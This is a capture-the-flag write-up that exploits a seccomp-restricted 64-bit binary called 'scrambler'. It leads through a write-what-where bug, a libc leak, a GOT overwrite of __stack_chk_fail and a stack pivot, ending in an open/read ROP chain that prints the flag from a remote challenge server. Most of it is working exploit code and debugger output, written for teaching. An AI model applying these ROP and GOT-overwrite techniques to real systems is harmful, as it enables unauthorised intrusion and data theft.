scrambler
22 minutes to read
We are given a 64-bit binary called scrambler
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
We also have the remote Glibc binary (libc.so_1.6
), so we can use pwninit
to patch the binary and use the provided library, so that the local and the remote exploits are equal:
$ pwninit --libc libc.so_1.6 --bin scrambler --no-template
bin: scrambler
libc: libc.so.6
fetching linker
https://launchpad.net/ubuntu/+archive/primary/+files//libc6_2.31-0ubuntu9.7_amd64.deb
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.31-0ubuntu9.7_amd64.deb
setting ./ld-2.31.so executable
symlinking libc.so.6 -> libc.so_1.6
copying scrambler to scrambler_patched
running patchelf on scrambler_patched
Although the binary is stripped:
$ file scrambler
scrambler: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1343b327e61aac49d34bc641ccd80457126ef56e, for GNU/Linux 3.2.0, stripped
The reverse engineering process is not hard. After loading the binary in Ghidra and renaming variables and functions, we get this main
function:
int main() {
undefined4 uVar1;
int iVar2;
long in_FS_OFFSET;
int option;
undefined4 arg1;
undefined4 arg2;
undefined4 arg3;
int i;
undefined auStack40 [8];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
setup();
seccomp_rules();
i = 0;
while (true) {
puts("1) Try scrambling");
puts("2) Quit");
printf("> ");
__isoc99_scanf("%d",&option);
if (option != 1) break;
if (i < 8) {
puts("arg1 = ");
printf("> ");
__isoc99_scanf("%d", &arg1);
puts("arg2 = ");
printf("> ");
__isoc99_scanf("%d", &arg2);
puts("arg3 = ");
printf("> ");
__isoc99_scanf("%d", &arg3);
uVar1 = arg3;
iVar2 = return_random(arg1,arg2);
auStack40[iVar2] = (char) uVar1;
i++;
} else {
puts("Not allowed!");
}
}
puts("Good bye!");
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
The binary is protected with some seccomp
rules. We can use seccomp-tools
to see what system calls are we able to use:
$ seccomp-tools dump ./scrambler
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0a 0xc000003e if (A != ARCH_X86_64) goto 0012
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x07 0xffffffff if (A != 0xffffffff) goto 0012
0005: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0011
0007: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x0000000a if (A == mprotect) goto 0011
0009: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0011
0010: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x06 0x00 0x00 0x00000000 return KILL
So, we are only able to use open
, read
, write
and mprotect
. Hence, the objective of the challenge is to read the flag (which is at /home/ctf/flag.txt
, also provided for the challenge), and not to spawn a shell.
Analyzing the main
function, we see that we can enter three numbers (arg1
, arg2
and arg3
). Then, arg1
and arg2
will be passed to the function I renamed to return_random
. The result of that function will be used an offset to a stack address and arg3
will be the value to be stored in (as a char
). Maybe the assembly instruction is clearer (taken from the output of objdump
):
40150c: 88 54 05 e0 mov BYTE PTR [rbp+rax*1-0x20],dl
This is return_random
:
int return_random(int arg1, int arg2) {
int iVar1;
time_t tVar2;
tVar2 = time((time_t *) 0x0);
srand((uint) tVar2);
iVar1 = rand();
return arg2 + iVar1 % arg1;
}
It is taking a random value and doing some math operations with the arguments arg1
and arg2
. We could think of using a Pseudo-Random Number Generator (PRNG) initialized at time(0)
as above, so that we know the value of iVar2
and have more control on the returning value. However, we can get rid of the random value if we set arg1 = 1
, because:
$$ z = 0 \pmod{1} \quad, \forall z \in \mathbb{Z} $$
Therefore, if arg1 = 1
, then return_random(arg1, arg2) = arg2
, so we have full control on what return_random
returns (maybe I should have changed the name of the function… not so random).
At this point, we have achieved a “write-what-where” primitive, because we control arg3
(which will be stored in $dl
, only 1 byte) and we control the returning value of return_address
(which is the offset from $rbp - 0x20
, placed in $rax
).
There is yet another limitation in the main
function, which is that program won’t allow us to “Try scrambling” any more when the counter reaches i = 8
. To bypass this, we can make use of the “write-what-where” primitive and fix the value of the counter to be a negative value, so that we get almost unlimited “scrambling” attempts. This is the assembly instruction that increments the counter:
401510: 83 45 dc 01 add DWORD PTR [rbp-0x24],0x1
We see that the counter is stored in $rbp - 0x24
. The “write-what-where” is based in $rbp - 0x20
, so the 4 bytes before (int
values are sized 32 bits) we have the value of the counter. We can check it with GDB setting a breakpoint in that address:
$ gdb -q scrambler_patched
Reading symbols from scrambler_patched...
(No debugging symbols found in scrambler_patched)
gef➤ break *0x401510
Breakpoint 1 at 0x401510
gef➤ run
Starting program: ./scrambler_patched
1) Try scrambling
2) Quit
> 1
arg1 =
> 1
arg2 =
> -4
arg3 =
> 100
Breakpoint 1, 0x0000000000401510 in ?? ()
gef➤ x/x $rbp-0x24
0x7fffffffe70c: 0x00000064
gef➤ x/d $rbp-0x24
0x7fffffffe70c: 100
There we have it. We overwrote the value of the counter to be 100
(0x64
). In order to achieve a negative value, we need that the most significant bit is set to 1
. In fact, the lower bound for int
is $-2^{31}$, which is represented as 0x80000000
(more information here). So if we use -1
instead of -4
and we put 128
(0x80
) instead of 100
, we will get a large negative value, so we don’t have to worry any more about the number of attempts.
Just for testing purposes:
gef➤ run
Starting program: ./scrambler_patched
1) Try scrambling
2) Quit
> 1
arg1 =
> 1
arg2 =
> -1
arg3 =
> 128
Breakpoint 1, 0x0000000000401510 in ?? ()
gef➤ x/x $rbp-0x24
0x7fffffffe70c: 0x80000000
gef➤ x/d $rbp-0x24
0x7fffffffe70c: -2147483648
Alright, now we can start thinking on what to do next for exploitation.
Since the objective is to read the flag and we are limited by seccomp
rules, these will be the instructions we need to execute to complete the challenge:
open("/home/ctf/flag.txt", O_RDONLY)
read(fd, buffer, length)
puts(buffer)
Also, recall that NX is enabled, so we need to use ROP to execute arbitrary code. Since we have to enter "/home/ctf/flag.txt"
, we need to find a gadget such as mov qword ptr [rax], rdi; ret
, because we don’t have more ways to enter text in the program. The binary does not have this type of gadgets, but Glibc does. Therefore, the first step will be to leak an address inside Glibc so that we can bypass ASLR and use offsets to gadgets.
Alright, let’s start writing the exploit. This is what we have for the moment:
#!/usr/bin/env python3
from pwn import context, ELF, log, p64, remote, sys, u64
elf = ELF('scrambler_patched')
glibc = ELF('libc.so_1.6', checksec=False)
context.binary = elf
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1], sys.argv[2]
return remote(host, int(port))
def write_what_where(p, what: int, where: int):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'arg1 = \n> ', b'1')
p.sendlineafter(b'arg2 = \n> ', str(where).encode())
p.sendlineafter(b'arg3 = \n> ', str(what).encode())
def main():
p = get_process()
write_what_where(p, 0x80, -1)
flag = b'/home/ctf/flag.txt'
p.interactive()
if __name__ == '__main__':
main()
With this code, we have unlimited attempts to “scramble”. The function write_what_where
implements the above explanation of the primitive.
Now we need to figure out if we can modify the saved return address so that we control program execution when we exit the while
loop (using the option 2
).
One way of doing it is knowing that we are writing using $rbp - 0x20
as base address. Since it is a 64-bit binary, experience will tell us that the saved return address is in $rbp + 8
, so we need to use 0x28
as offset to modify the return address.
If not having enough experience, we can use GDB to find the offset. These are the lines executed when using option 2
:
40152a: 48 8d 3d 18 0b 00 00 lea rdi,[rip+0xb18] # 402049 <rand@plt+0xec9>
401531: e8 ca fb ff ff call 401100 <puts@plt>
401536: 90 nop
401537: b8 00 00 00 00 mov eax,0x0
40153c: 48 8b 4d e8 mov rcx,QWORD PTR [rbp-0x18]
401540: 64 48 33 0c 25 28 00 xor rcx,QWORD PTR fs:0x28
401547: 00 00
401549: 74 05 je 401550 <rand@plt+0x3d0>
40154b: e8 d0 fb ff ff call 401120 <__stack_chk_fail@plt>
401550: 48 83 c4 48 add rsp,0x48
401554: 5b pop rbx
401555: 5d pop rbp
401556: c3 ret
We can set a breakpoint at 0x401555
(right before pop rbp
is executed) to check the return address and $rbp
:
$ gdb -q scrambler_patched
Reading symbols from scrambler_patched...
(No debugging symbols found in scrambler_patched)
gef➤ break *0x401555
Breakpoint 1 at 0x401555
gef➤ run
Starting program: ./scrambler_patched
1) Try scrambling
2) Quit
> 2
Good bye!
Breakpoint 1, 0x0000000000401555 in ?? ()
gef➤ p/x $rbp
$1 = 0x7fffffffe730
gef➤ x/10gx $rsp
0x7fffffffe730: 0x0000000000000000 0x00007ffff7dc40b3
0x7fffffffe740: 0x00007ffff7ffc620 0x00007fffffffe828
0x7fffffffe750: 0x0000000100000000 0x00000000004013c2
0x7fffffffe760: 0x0000000000401560 0x2f62a629e826bd42
0x7fffffffe770: 0x0000000000401190 0x00007fffffffe820
So the return address is 0x00007ffff7dc40b3
(from __libc_start_main
), which is at 0x7fffffffe738
($rbp + 8
, as expected).
Notice that $rbp
will be set to 0
. This will be a problem and it took me a lot of time to find a solution.
Let’s continue for the moment. Now we know where to write so that we modify the return address, so we can start creating a simple ROP chain to leak an address inside Glibc.
I won’t be explaining the concepts behind this technique. If you need more information, read other challenges such as Shooting Star or Here’s a LIBC for a detailed explanation. The main idea is to call puts
using the PLT using the address of puts
at the GOT as first argument (which will go in $rdi
), so that puts
prints the contents of that GOT address, which will be the real address of puts
inside Glibc at runtime.
We can get the gadget pop rdi; ret
with ROPgadget
:
$ ROPgadget --binary scrambler | grep ': pop rdi ; ret$'
0x00000000004015c3 : pop rdi ; ret
Nice, so this is the main
function of the exploit:
def main():
p = get_process()
pop_rdi_ret = 0x4015c3
while_addr = 0x401400
payload = p64(pop_rdi_ret)
payload += p64(elf.got.puts)
payload += p64(elf.plt.puts)
payload += p64(while_addr)
write_what_where(p, 0x80, -1)
for i, b in enumerate(payload):
write_what_where(p, b, 0x20 + 8 + i)
p.sendlineafter(b'> ', b'2')
p.recvline()
puts_addr = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'Leaked puts() address: {hex(puts_addr)}')
p.interactive()
And if we run the exploit, we get the leaked address:
$ python3 solve.py
[*] './scrambler_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './scrambler_patched': pid 350738
[*] Leaked puts() address: 0x7f80e640d450
[*] Switching to interactive mode
1) Try scrambling
2) Quit
[*] Got EOF while reading in interactive
$
Also notice that we used 0x401400
as the next address to return, which is the start of the while
loop. We can’t call the main
function again because seccomp
rules are already applied, and there is some setup for setvbuf
, which is not allowed.
Let’s compute the base address of Glibc:
glibc.address = puts_addr - glibc.sym.puts
log.info(f'Glibc base address: {hex(glibc.address)}')
Now we have the base address, which looks correct because it ends in 000
in hexadecimal:
$ python3 solve.py
[*] './scrambler_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './scrambler_patched': pid 353240
[*] Leaked puts() address: 0x7f4119ab8450
[*] Glibc base address: 0x7f4119a34000
[*] Switching to interactive mode
1) Try scrambling
2) Quit
[*] Got EOF while reading in interactive
$
Perfect. But we have a problem. We got “EOF while reading in interactive”, so the program crashed. And this is all because $rbp
is set to 0
when returning from main
. And since we cannot call main
from the start, we cannot set again $rbp
to its initial value.
When I did the challenge I did not take this into account and started thinking on the next ROP chain to execute so that we can read the flag. But then I realized that I needed to solve the $rbp
problem first.
We need to do something with $rbp
, and we only have the binary (since Glibc is not leaked when crafting the first ROP chain). The aim is to redirect program execution to the while
loop, but with a valid $rbp
value (and not 0
). The only thing we can do is search for gadgets that involve $rbp
:
$ ROPgadget --binary scrambler | grep ret$ | grep rbp
0x000000000040125a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040125b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401259 : add byte ptr cs:[rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040125c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401257 : add eax, 0x2e4b ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x00000000004013b8 : add eax, edx ; mov dword ptr [rbp - 4], eax ; mov eax, dword ptr [rbp - 4] ; leave ; ret
0x0000000000401551 : add esp, 0x48 ; pop rbx ; pop rbp ; ret
0x0000000000401550 : add rsp, 0x48 ; pop rbx ; pop rbp ; ret
0x00000000004013bc : cld ; mov eax, dword ptr [rbp - 4] ; leave ; ret
0x0000000000401256 : mov byte ptr [rip + 0x2e4b], 1 ; pop rbp ; ret
0x00000000004013ba : mov dword ptr [rbp - 4], eax ; mov eax, dword ptr [rbp - 4] ; leave ; ret
0x00000000004013bd : mov eax, dword ptr [rbp - 4] ; leave ; ret
0x00000000004012d8 : nop ; pop rbp ; ret
0x00000000004015bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004015bf : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040125d : pop rbp ; ret
0x0000000000401554 : pop rbx ; pop rbp ; ret
There is one gadget we can use to control $rbp
, and it is pop rbp; ret
. It would be great if we had a stack address to put it in $rbp
, but we can’t leak any stack addresses on the first ROP chain and use them to control $rbp
.
Therefore, I tried using an address within the binary:
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x000000003ff000 0x00000000400000 0x00000000000000 rw- ./scrambler_patched
0x00000000400000 0x00000000401000 0x00000000001000 r-- ./scrambler_patched
0x00000000401000 0x00000000402000 0x00000000002000 r-x ./scrambler_patched
0x00000000402000 0x00000000403000 0x00000000003000 r-- ./scrambler_patched
0x00000000403000 0x00000000404000 0x00000000003000 r-- ./scrambler_patched
0x00000000404000 0x00000000405000 0x00000000004000 rw- ./scrambler_patched
0x007ffff7d9d000 0x007ffff7da0000 0x00000000000000 rw-
0x007ffff7da0000 0x007ffff7dc2000 0x00000000000000 r-- ./libc.so_1.6
0x007ffff7dc2000 0x007ffff7f3a000 0x00000000022000 r-x ./libc.so_1.6
0x007ffff7f3a000 0x007ffff7f88000 0x0000000019a000 r-- ./libc.so_1.6
0x007ffff7f88000 0x007ffff7f8c000 0x000000001e7000 r-- ./libc.so_1.6
0x007ffff7f8c000 0x007ffff7f8e000 0x000000001eb000 rw- ./libc.so_1.6
0x007ffff7f8e000 0x007ffff7f92000 0x00000000000000 rw-
0x007ffff7f92000 0x007ffff7f94000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
0x007ffff7f94000 0x007ffff7fa3000 0x00000000002000 r-x /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
0x007ffff7fa3000 0x007ffff7fb1000 0x00000000011000 r-- /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
0x007ffff7fb1000 0x007ffff7fb2000 0x0000000001f000 --- /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
0x007ffff7fb2000 0x007ffff7fb3000 0x0000000001f000 r-- /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
0x007ffff7fb3000 0x007ffff7fb4000 0x00000000020000 rw- /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
0x007ffff7fb4000 0x007ffff7fb6000 0x00000000000000 rw-
0x007ffff7fc9000 0x007ffff7fcd000 0x00000000000000 r-- [vvar]
0x007ffff7fcd000 0x007ffff7fcf000 0x00000000000000 r-x [vdso]
0x007ffff7fcf000 0x007ffff7fd0000 0x00000000000000 r-- ./ld-2.31.so
0x007ffff7fd0000 0x007ffff7ff3000 0x00000000001000 r-x ./ld-2.31.so
0x007ffff7ff3000 0x007ffff7ffb000 0x00000000024000 r-- ./ld-2.31.so
0x007ffff7ffc000 0x007ffff7ffd000 0x0000000002c000 r-- ./ld-2.31.so
0x007ffff7ffd000 0x007ffff7ffe000 0x0000000002d000 rw- ./ld-2.31.so
0x007ffff7ffe000 0x007ffff7fff000 0x00000000000000 rw-
0x007ffffffde000 0x007ffffffff000 0x00000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x00000000000000 --x [vsyscall]
We need an address that has rw-
permissions, so 0x404000
is a good choice. Since the binary has no PIE protection, this address is fix. Nevertheless, I used 0x404200
because the GOT is placed in 0x404000
, and I don’t want to break it.
So we must update the ROP chain:
pop_rdi_ret = 0x4015c3
pop_rbp_ret = 0x40125d
new_rbp = 0x404200
while_addr = 0x401400
payload = p64(pop_rdi_ret + 1)
payload += p64(pop_rdi_ret)
payload += p64(elf.got.puts)
payload += p64(elf.plt.puts)
payload += p64(pop_rbp_ret)
payload += p64(new_rbp)
payload += p64(while_addr)
Notice the pop_rdi_ret + 1
(a ret
gadget) is needed to avoid stack alignment issues in printf
. We have an interactive process:
$ python3 solve.py
[*] './scrambler_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './scrambler_patched': pid 363454
[*] Leaked puts() address: 0x7f5d037c6450
[*] Glibc base address: 0x7f5d03742000
[*] Switching to interactive mode
1) Try scrambling
2) Quit
> $ 1
arg1 =
> $ 1
arg2 =
> $ 1
arg3 =
> $ 1
1) Try scrambling
2) Quit
> $ 2
Good bye!
[*] Got EOF while reading in interactive
However, we have another problem, related with the canary protection:
40153c: 48 8b 4d e8 mov rcx,QWORD PTR [rbp-0x18]
401540: 64 48 33 0c 25 28 00 xor rcx,QWORD PTR fs:0x28
401547: 00 00
401549: 74 05 je 401550 <rand@plt+0x3d0>
40154b: e8 d0 fb ff ff call 401120 <__stack_chk_fail@plt>
401550: 48 83 c4 48 add rsp,0x48
401554: 5b pop rbx
401555: 5d pop rbp
401556: c3 ret
401557: 66 0f 1f 84 00 00 00 nop WORD PTR [rax+rax*1+0x0]
The program is taking the saved canary using and offset to $rbp
. Since we modified $rbp
, obviously the value at the offset won’t be equal to the master canary (fs:0x28
). And therefore, the program will exit immediately (__stack_chk_fail
).
This problem comes when using option 2
to execute the second ROP chain (that will print out the flag). Since we have a “write-what-where” and $rbp
has an address within the binary, we can calculate an offset to the GOT (notice there is Partial RELRO, which allows to modify the GOT at runtime).
The GOT is a table that holds the real addresses of external functions or pointers to a resolution table if the function has not been used. The objective is to modify the value of the entry for __stack_chk_fail
, so that even if the saved canary does not match with the master canary, the program won’t exit because __stack_chk_fail
will not be resolved to the real __stack_chk_fail
.
We can visualize the GOT in GDB:
$ gdb -q scrambler_patched
Reading symbols from scrambler_patched...
(No debugging symbols found in scrambler_patched)
gef➤ start
[+] Breaking at entry-point: 0x401190
gef➤ got
GOT protection: Partial RelRO | GOT functions: 11
[0x404018] seccomp_init → 0x401030
[0x404020] seccomp_rule_add → 0x401040
[0x404028] puts@GLIBC_2.2.5 → 0x401050
[0x404030] seccomp_load → 0x401060
[0x404038] __stack_chk_fail@GLIBC_2.4 → 0x401070
[0x404040] printf@GLIBC_2.2.5 → 0x401080
[0x404048] srand@GLIBC_2.2.5 → 0x401090
[0x404050] time@GLIBC_2.2.5 → 0x4010a0
[0x404058] setvbuf@GLIBC_2.2.5 → 0x4010b0
[0x404060] __isoc99_scanf@GLIBC_2.7 → 0x4010c0
[0x404068] rand@GLIBC_2.2.5 → 0x4010d0
The above values are the GOT entries when the program starts. None of them is resolved because they have not been called yet. Let’s set a breakpoint before closing the program and check again the GOT:
gef➤ break *0x401555
Breakpoint 1 at 0x401555
gef➤ run
Starting program: ./scrambler_patched
1) Try scrambling
2) Quit
> 2
Good bye!
Breakpoint 1, 0x0000000000401555 in ?? ()
gef➤ got
GOT protection: Partial RelRO | GOT functions: 11
[0x404018] seccomp_init → 0x7ffff7f94780
[0x404020] seccomp_rule_add → 0x7ffff7f94e50
[0x404028] puts@GLIBC_2.2.5 → 0x7ffff7e24450
[0x404030] seccomp_load → 0x7ffff7f94a90
[0x404038] __stack_chk_fail@GLIBC_2.4 → 0x401070
[0x404040] printf@GLIBC_2.2.5 → 0x7ffff7e01cc0
[0x404048] srand@GLIBC_2.2.5 → 0x401090
[0x404050] time@GLIBC_2.2.5 → 0x4010a0
[0x404058] setvbuf@GLIBC_2.2.5 → 0x7ffff7e24d10
[0x404060] __isoc99_scanf@GLIBC_2.7 → 0x7ffff7e030e0
[0x404068] rand@GLIBC_2.2.5 → 0x4010d0
The ones in green are already resolved. And the ones in yellow are not resolved because they have not been called up to this point of execution.
Initialy, I modified the entry for __stack_chk_fail
by the entry for rand
. So I only needed to modify one byte (namely, change 0x70
for 0xd0
).
Again, we need to calculate the offset to this address. This time is easier because we know $rbp = 0x404200
. So the offset we need to reach 0x404038
(GOT entry for __stack_chk_fail
) is -0x200 + 0x38 + 0x20
(recall that the base address for the “write-what-where” primitive is $rbp - 0x20
). So we have to add this line of code:
write_what_where(p, 0xd0, -0x200 + 0x38 + 0x20)
At this point, I started testing the second ROP chain. But… It didn’t work either because the $rsp
was pointing to stack addresses, so I was not able to modify the return instruction (which is stored in the stack) because $rbp
points to the binary address space (there are no fix offsets between the stack address space, the binary and Glibc).
Again, another problem. To solve it, since $rbp
is forced to be set to a valid address and we only have the binary addresses, we need to change $rsp
as well. This technique is called Stack Pivot, and consists of moving the stack pointer to a controlled address space.
In order to perform a Stack Pivot, we need a gadget like leave; ret
, which is equivalent to mov rsp, rbp; pop rbp; ret
. Fortunately, we have this gadget in the binary:
$ ROPgadget --binary scrambler | grep ': leave ; ret$'
0x0000000000401387 : leave ; ret
Therefore, instead of forging __stack_chk_fail
to be rand
, we can forge it to contain the address of the leave; ret
gadget and perform the Stack Pivot technique. For that, we need to modify two bytes: 0x70
to be 0x87
and 0x10
to be 0x13
, which is done with these lines of code (that replace the previous one):
write_what_where(p, 0x87, -0x200 + 0x38 + 0x20)
write_what_where(p, 0x13, -0x200 + 0x38 + 0x20 + 1)
Surprisingly, everything is working as expected. Now we get an interactive process and the saved return address will be taken from the new stack, which is within the binary addresses. We need to do the trick to get unlimited “scrambles” again. Now it is time to perform the second ROP chain.
This ROP chain is a bit complex, so I’ll break it into pieces:
- Write
"/home/ctf/flag.txt"
at a known address - Open the flag file
- Read the flag file and store its contents at a known address
- Print the contents of the flag file
Since we have leaked Glibc, we have access to a lot of useful gadgets and functions. One can get these gadgets using ROPgadget
in the libc.so_1.6
file. These are all the gadgets we are going to need (apart from pop rdi; ret
):
mov_qword_ptr_rax_rdi_ret = glibc.address + 0x09a0ff
pop_rax_ret = glibc.address + 0x047400
pop_rsi_ret = glibc.address + 0x02604f
pop_rdx_pop_r12_ret = glibc.address + 0x119241
pop_rcx_pop_rbx_ret = glibc.address + 0x1025ae
For the first piece, we will use this payload in a loop:
flag = b'/home/ctf/flag.txt'
flag = flag.ljust(len(flag) + (8 - len(flag) % 8), b'\0')
writable_addr = 0x404000
payload = b''
# Store "/home/ctf/flag.txt" in writable_addr
for i in range(0, len(flag), 8):
payload += p64(pop_rdi_ret)
payload += flag[i:i + 8]
payload += p64(pop_rax_ret)
payload += p64(writable_addr + i)
payload += p64(mov_qword_ptr_rax_rdi_ret)
The flag filename string is padded with null bytes to have a length that is divisible by 8
. Then, we are storing the string in chunks of 8
bytes in a writable address (namely, 0x404000
). The process uses mov qword ptr [rax], rdi; ret
to store the contents of $rdi
into the address pointed to by $rax
. GDB might be useful to follow the ROP chain and make sure that the string is stored correctly.
After that, we must call open("/home/ctf/flag.txt", O_RDONLY)
. Notice that O_RDONLY
is just an alias for 0
and that we know the address of the filename string.
At first, I was using directly the open
function from Glibc, but seccomp
rules were blocking the process. Maybe that function uses more system calls. Then I looked for a syscall
gadget: the binary does not contain any syscall
and Glibc has a lot, but none of them end in ret
, so we can’t use them for the ROP chain:
$ ROPgadget --binary scrambler | grep syscall
$ ROPgadget --binary libc.so_1.6 | grep syscall | wc -c
153930
$ ROPgadget --binary libc.so_1.6 | grep syscall | grep ret$
Again, a dead end… But then I realized that Glibc has a function called precisely syscall
:
$ readelf -s libc.so_1.6 | grep syscall
1980: 0000000000118750 55 FUNC GLOBAL DEFAULT 15 syscall@@GLIBC_2.2.5
So maybe we can use that function call in the ROP chain, that would solve the problem. One thing to take into account is that the values of the registers to execute a syscall
($rax
, $rdi
, $rsi
, $rdx
, $rcx
…) are passed to the function syscall
as arguments, so the $rdi
= $rax
, $rsi
= $rdi
, $rdx
= $rsi
, $rcx
= $rdx
… It can be a bit confusing, so I added some comments in the code:
# syscall: open("/home/ctf/flag.txt", 0)
payload += p64(pop_rdi_ret)
payload += p64(2) # rdi (rax)
payload += p64(pop_rsi_ret)
payload += p64(writable_addr) # rsi (rdi)
payload += p64(pop_rdx_pop_r12_ret)
payload += p64(0) # rdx (rsi)
payload += p64(0)
payload += p64(syscall)
The instruction sys_open
is executed when $rax = 2
. Next, we must use sys_read
($rax = 0
). The file descriptor will be 3
(because 0
, 1
and 2
are reserved ones for stdin
, stdout
and stderr
). Anyway, one can check the file descriptor number when executing sys_open
, the resulting file descriptor will be returned in $rax
(and it is 3
). So here is the sys_read
ROP chain:
# syscall: read(3, writable_addr, 0x100)
payload += p64(pop_rdi_ret)
payload += p64(0) # rdi (rax)
payload += p64(pop_rsi_ret)
payload += p64(3) # rsi (rdi)
payload += p64(pop_rdx_pop_r12_ret)
payload += p64(writable_addr) # rdx (rsi)
payload += p64(0)
payload += p64(pop_rcx_pop_rbx_ret)
payload += p64(0x100) # rcx (rdx)
payload += p64(0)
payload += p64(syscall)
The number 0x100
is just to specify the amount of bytes to read from the file descriptor (presumably, we won’t need that much).
Finally, to print out the flag, we could have used sys_write
(following the same syscall
ROP chain procedure), but I found it easier to use puts
:
# puts(writable_addr)
payload += p64(pop_rdi_ret)
payload += p64(writable_addr)
payload += p64(glibc.sym.puts)
And that’s it. Now we only need to use the “write-what-where” primitive the same way we did for the first ROP chain and run it using option 2
.
Let’s try locally:
$ echo 'flag{this_is_the_flag!!}' > /home/ctf/flag.txt
$ python3 solve.py
[*] './scrambler_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './scrambler_patched': pid 447414
[*] Leaked puts() address: 0x7f028c526450
[*] Glibc base address: 0x7f028c4a2000
[*] Switching to interactive mode
Good bye!
flag{this_is_the_flag!!}
gi\x8c\x7f
[*] Got EOF while reading in interactive
$
It works!! Let’s try remotely (it can take some time to run, around 10 minutes):
$ python3 solve.py 20.203.124.220 1235
[*] './scrambler_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Opening connection to 20.203.124.220 on port 1235: Done
[*] Leaked puts() address: 0x7f3c9865e450
[*] Glibc base address: 0x7f3c985da000
[*] Switching to interactive mode
Good bye!
Securinets{f8ee583021b816b1b557987ca120991a}
\x7f
[*] Got EOF while reading in interactive
$
The full exploit script can be found in here: solve.py
.